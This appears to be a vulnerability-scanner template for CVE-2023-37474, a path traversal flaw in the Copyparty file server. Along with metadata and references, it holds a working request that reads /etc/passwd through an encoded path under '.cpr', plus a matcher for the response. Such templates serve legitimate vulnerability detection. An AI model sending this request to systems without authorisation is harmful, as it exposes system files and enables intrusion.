id: CVE-2023-37474

info:
  name: Copyparty <= 1.8.2 - Directory Traversal
  author: shankar acharya,theamanrawat
  severity: high
  description: |
    Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/9001/copyparty/
    - https://www.exploit-db.com/exploits/51636
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37474
    - http://packetstormsecurity.com/files/173822/Copyparty-1.8.2-Directory-Traversal.html
    - https://github.com/9001/copyparty/commit/043e3c7dd683113e2b1c15cacb9c8e68f76513ff
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-37474
    cwe-id: CWE-22
    epss-score: 0.02398
    epss-percentile: 0.88659
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
  tags: packetstorm,cve,cve2023,traversal,copyparty

http:
  - method: GET
    path:
      - "{{BaseURL}}/.cpr/%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200